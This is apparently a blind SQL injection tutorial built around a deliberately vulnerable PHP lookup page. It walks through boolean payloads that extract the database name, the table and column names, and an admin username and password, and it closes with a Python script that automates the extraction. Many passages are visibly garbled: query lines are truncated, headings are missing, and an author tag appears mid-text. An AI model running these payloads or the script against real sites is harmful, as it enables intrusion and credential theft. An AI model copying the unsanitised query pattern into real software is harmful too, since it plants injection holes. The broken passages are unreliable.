Blind SQL Injection

Introduction

Blind SQL injection is used when there is no value from database in output from the web application, that means the server don't show any information about database, we only can check if the injection will return true or false.

In this script example the server checks if the id of user exists in database, if the id extsts it will return 'OK' else return 'None'.

```
<?php
    if (isset($_GET['id'])) {
        $id = $_GET['id'];
        $sql = "SELECT * FROM `users` WHERE `id`='$id'";
        $user = mysqli_query($con, $sql);
        if (@mysqli_num_rows($user) > 0) {
            echo 'OK';
        }
        else {
            echo 'None';
        }
    }
?>
```

If the database have 10 users the output of site will be:

```
http:****//www****.sql-blind-injection****.com/?id=1
OK
http:****//www****.sql-blind-injection****.com/?id=2
OK
http:****//www****.sql-blind-injection****.com/?id=3
OK
http:****//www****.sql-blind-injection****.com/?id=5
OK
http:****//www****.sql-blind-injection****.com/?id=10
OK
http:****//www****.sql-blind-injection****.com/?id=11
None
http:****//www****.sql-blind-injection****.com/?id=0
None
```

It means only id between 1 and 10 will return true.

Exploiting

The site only will return true or false, we need use brute force, but match the whole string takes a long time, so we will try match by each character.

Understanding the query

The query uses an integer value of variable id in GET method, the possible queries are:

```
SELECT * FROM table_name WHERE id=1
                               id='1'
                               id="1"
                               id=(1)
                               id=('1')
                               id=("1")
```

ECT * FROM table_name WHERE id='1' the injection will be like this:

```
nd-injection****.com/?id=1' AND TRUE#
```

```
injection: 1' AND TRUE#
```


Author

[bolofecal]

```
URL: http:****//www****.sql-blind-injection****.com/?id=1' AND FALSE#
Injection: 1' AND FALSE#
Query: SELECT * FROM table_name WHERE `id`='1' AND FALSE#'
Output: None
```

Getting the database

Getting the length of database

Using LENGTH() function is possible know the length of the string in a SQL query.

```
Injection: 1' AND (SELECT LENGTH(database()))=1#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT LENGTH(database()))=1#'
Output: None

Injection: 1' AND (SELECT LENGTH(database()))=2#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT LENGTH(database()))=2#'
Output: None

Injection: 1' AND (SELECT LENGTH(database()))=3#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT LENGTH(database()))=3#'
Output: None

Injection: 1' AND (SELECT LENGTH(database()))=4#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT LENGTH(database()))=4#'
Output: OK
```

It means the length of database is 4 characters.

Getting the database name

Exists more than one way to get the values of each character in a string. There are some methods:

- SUBSTRING() & ASCII()SUBSTRING() - used to extract characters from a string

```
SUBSTRING('Hacker', 1, 1)
Return: H
SUBSTRING('Hacker', 2, 1)
Return: a
SUBSTRING('Hacker', 3, 1)
Return: c
SUBSTRING('Hacker', 4, 1)
Return: k
SUBSTRING('Hacker', 5, 1)
Return: e
SUBSTRING('Hacker', 6, 1)
Return: r
```

ASCII() - returns the ASCII value from a character

```
ASCII('a')
Return: 97
```

Using both functions is possible discover the database name, so let's check if the ASCII value of first char is greater than or equal to 97 (a).

```
// Getting first char
I(SUBSTRING(database(), 1, 1)))>=97#
e WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>=97#'

 of the first char is greater than or equal to 97 (a) so let's try
njection: 1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>=111#
e WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>=111#'

ncrease to 116 (t)Injection: 1' AND (SELECT ASCII(SUBSTRING(database(),

e WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>=116#'
```

```
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>=115#'
Return: OK
// Returns OK that means that 115 is the correct value
```

Now we know that the first character of database is 's', let's discover anothers characters.

```
// Getting second char
Injection: 1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>=97#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>=97#'
Return: OKInjection: 1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>=114#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>=114#'
Return: NoneInjection: 1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))=113#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))=113#'
Return: OK
```

Second char is 'q' (113)Anothers chars

```
// 3rd char
Injection: 1' AND (SELECT ASCII(SUBSTRING(database(), 3, 1)))=108#
Query: SELECT * FROM table_name WHERE `id`='1' AND (SELECT ASCII(SUBSTRING(database(), 3, 1)))=108#'
Return: OK
// Third char is 'l' (108)// 4th char
Injection: 1' AND (SELECT ASCII(SUBSTRING(database(), 4, 1)))=105#
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT ASCII(SUBSTRING(database(), 4,
1)))=105#**'
Return: OK
// Fourth char is 'i' (105)
```

The database name is 'sqli'. Lets try another method.
- LIKEThe LIKE operator is used to search for a specified pattern in a column. Is possible know the data from a row using "%". The "%" sign is used to define wildcards (missing letters).
`// Return OK to any database name Injection: **1' AND (SELECT database()) LIKE '%'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE '%'#**' Return: OK// Return OK if database name starts with the letter 'a' Injection: **1' AND (SELECT database()) LIKE 'a%'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 'a%'#**' Return: None// Return OK if database name starts with the letter 's' Injection: **1' AND (SELECT database()) LIKE 's%'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 's%'#**' Return: OK// Return OK if database name starts with the letters 'sq' Injection: **1' AND (SELECT database()) LIKE 'sq%'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 'sq%'#**' Return: OK// Return OK if database name starts with the letters 'sql' Injection: **1' AND (SELECT database()) LIKE 'sql%'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 'sql%'#**' Return: OK// Return OK if database name is 'sqli' Injection: **1' AND (SELECT database()) LIKE 'sqli'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 'sqli'#**' Return: OK`
The LIKE method is case-insensitive, to check in case-sensitive mode needs a BINARY before database()
`Injection: **1' AND (SELECT database()) LIKE 'SQLI'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT database()) LIKE 'SQLI'#**' Return: OKInjection: **1' AND (SELECT BINARY database()) LIKE 'SQLI'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT BINARY database()) LIKE 'SQLI'#**' Return: NoneInjection: **1' AND (SELECT BINARY database()) LIKE 'sqli'#** Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT BINARY database()) LIKE 'sqli'#**' Return: OK`

Getting the tables

Getting the number of tables

To count the number of tables we can use the COUNT() function.

```
on_schema.tables WHERE table_schema=database()
```

```
on_schema.tables WHERE table_schema='sqli'
```

```
UNT(*) FROM information_schema.tables WHERE
```

```
Return: None

Injection: **1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE
table_schema=database())=2#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database())=2#**'
Return: OK
```

The database have 2 tables.

Getting the name of all tables

To select each table individually we will use the LIMIT.

```
SELECT * FROM table_name LIMIT 0,1
// Select only the first table

SELECT * FROM table_name LIMIT 1,1
// Select only the second table

SELECT * FROM table_name LIMIT 0,2
// Select the first and second tables

SELECT * FROM table_name LIMIT 1,2
// Select the second and third tables
```

Getting the length of each table name

```
// First table
Injection: **1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE
table_schema=database() LIMIT 0,1)=5#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(table_name) FROM
information_schema.tables WHERE table_schema=database() LIMIT 0,1)=5#**'
Return: OK
// The lengh of first table name is 5

// Second table
Injection: **1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE
table_schema=database() LIMIT 1,1)=5#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(table_name) FROM
information_schema.tables WHERE table_schema=database() LIMIT 1,1)=5#**'
Return: OK
// The lengh of second table name is 5
```

In this example the method to get the table names will be LIKE but you can use SUBSTRING().

Getting the name of first table

```
Injection: **1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database()
LIMIT 0,1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'a%'#**'
Return: None
// This table name doesn't starts with 'a'

Injection: **1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database()
LIMIT 0,1) LIKE 'u%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'u%'#**'
Return: OK
                                with 'u' and its length is 5, lets try 'users'

                                ble_name FROM information_schema.tables WHERE table_schema=database()

                                e WHERE `id`='**1' AND (SELECT table_name FROM
                                E table_schema=database() LIMIT 0,1) LIKE 'users'#**'

                                ers'
```

ble

```
LIMIT 1,1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE 'a%'#**'
Return: OK
// The second table name starts with 'a' and its length is 5, lets try 'admin'

Injection: **1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database()
LIMIT 1,1) LIKE 'admin'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE 'admin'#**'
Return: OK
// The second table name is 'admin'
```

The admin table probably have important data.

Getting the columns

Getting the number of columns

```
Injection: **1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin')=1#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT COUNT(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin')=1#**'
Return: None

Injection: **1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin')=2#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT COUNT(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin')=2#**'
Return: None

Injection: **1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin')=3#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT COUNT(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin')=3#**'
Return: OK
```

The table have 3 columns.

Getting the length of each column

Using LIMIT to select each table individually and LENGTH() to check the length.

First column

```
Injection: **1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 0,1)=1#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 0,1)=1#**'
Return: None

]Injection: **1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 0,1)=2#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 0,1)=2#**'
Return: OK
```

Second column

```
NGTH(column_name) FROM information_schema.columns WHERE
ole_name='admin' LIMIT 1,1)=1#**
e WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
RE table_schema=database() AND table_name='admin' LIMIT 1,1)=1#**'


ENGTH(column_name) FROM information_schema.columns WHERE
ole_name='admin' LIMIT 1,1)=8#**
e WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
RE table_schema=database() AND table_name='admin' LIMIT 1,1)=8#**'
```

```
Injection: **1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 2,1)=1#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 2,1)=1#**'
Return: None

]Injection: **1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 2,1)=8#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(column_name) FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 2,1)=8#**'
Return: OK
```

Getting the name of each column

First column (length = 2)

```
Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 0,1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 0,1) LIKE
'a%'#**'
Return: None

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 0,1) LIKE 'i%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 0,1) LIKE
'i%'#**'
Return: OK

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 0,1) LIKE 'id'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 0,1) LIKE
'id'#**'
Return: OK
```

Second column (length = 8)

```
Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE
table_schema=database() AND table_name='admin' LIMIT 1,1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 1,1) LIKE
'a%'#**'
Return: None

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 1,1) LIKE 'u%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 1,1) LIKE
'u%'#**'
Return: OK

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 1,1) LIKE 'us%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 1,1) LIKE
'us%'#**'
Return: OK

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
                    ,1) LIKE 'username'#**
                    e WHERE `id`='**1' AND (SELECT column_name FROM
                    RE table_schema=database() AND table_name='admin' LIMIT 1,1) LIKE
```



```
                    lumn_name FROM information_schema.columns WHERE
                    ble_name='admin' LIMIT 2,1) LIKE 'a%'#**
```

```
'a%'#**'
Return: None

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 2,1) LIKE 'p%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 2,1) LIKE
'p%'#**'
Return: OK

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 2,1) LIKE 'pa%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 2,1) LIKE
'pa%'#**'
Return: OK

Injection: **1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database()
AND table_name='admin' LIMIT 2,1) LIKE 'password'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='admin' LIMIT 2,1) LIKE
'password'#**'
Return: OK
```

Getting the username and password

Database

- sqli
  [list]
- users
- admin
  [list]
- id
- username
- password

  [/list]
  [/list]

Getting length of username

```
Injection: **1' AND (SELECT LENGTH(username) FROM admin LIMIT 1)=1#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(username) FROM admin LIMIT
1)=1#**'
Return: None

Injection: **1' AND (SELECT LENGTH(username) FROM admin LIMIT 1)=2#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(username) FROM admin LIMIT
1)=2#**'
Return: None

Injection: **1' AND (SELECT LENGTH(username) FROM admin LIMIT 1)=3#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(username) FROM admin LIMIT
1)=3#**'
Return: None

Injection: **1' AND (SELECT LENGTH(username) FROM admin LIMIT 1)=4#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(username) FROM admin LIMIT
1)=4#**'
Return: None

NGTH(username) FROM admin LIMIT 1)=5#**
e WHERE `id`='**1' AND (SELECT LENGTH(username) FROM admin LIMIT
```


ssword

```
NGTH(password) FROM admin LIMIT 1)=1#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(password) FROM admin LIMIT
```

```
Injection: **1' AND (SELECT LENGTH(password) FROM admin LIMIT 1)=2#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(password) FROM admin LIMIT
1)=2#**'
Return: None

Injection: **1' AND (SELECT LENGTH(password) FROM admin LIMIT 1)=3#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(password) FROM admin LIMIT
1)=3#**'
Return: None

Injection: **1' AND (SELECT LENGTH(password) FROM admin LIMIT 1)=4#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(password) FROM admin LIMIT
1)=4#**'
Return: None

Injection: **1' AND (SELECT LENGTH(password) FROM admin LIMIT 1)=8#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT LENGTH(password) FROM admin LIMIT
1)=8#**'
Return: OK
```

Getting username (length = 5)

```
Injection: **1' AND (SELECT username FROM admin LIMIT 1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT username FROM admin LIMIT 1) LIKE
'a%'#**'
Return: OK

Injection: **1' AND (SELECT username FROM admin LIMIT 1) LIKE 'admin'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT username FROM admin LIMIT 1) LIKE
'admin'#**'
Return: OK
```

Getting password (length = 8)

```
Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'a%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
'a%'#**'
Return: None

Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'p%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
'p%'#**'
Return: OK

Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'pa%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
'pa%'#**'
Return: None

Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'p4%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
'p4%'#**'
Return: OK

Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'p455%'#**
Query: SELECT * FROM table_name WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
'p455%'#**'
Return: OK

Injection: **1' AND (SELECT password FROM admin LIMIT 1) LIKE 'p455word'#**
e WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE

ssword FROM admin LIMIT 1) LIKE 'p455w0rd'#**
e WHERE `id`='**1' AND (SELECT password FROM admin LIMIT 1) LIKE
```

ssword for admin:

Extra

Creating a script to get values

This script will got the database name but is possible code to got another values.

```
import requests

url = 'http:****//www****.sql-blind-injection****.com'
keyword = 'OK'

#   Getting the length of database
for i in xrange(1, 100):
    injection = "?id=1' AND (SELECT LENGTH(database()))=" + str(i) + "%23"
    if requests.get(url + injection).content.find(keyword) != -1:
        length = i
        break

#   Getting the name of database
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
database = ''
for n in xrange(1, length + 1):
    for c in charset:
        injection = "?id=1' AND (SELECT SUBSTRING(database(), " + str(n) + ", 1))='" + c + "'%23"
        if requests.get(url + injection).content.find(keyword) != -1:
            database += c
            break

print database
```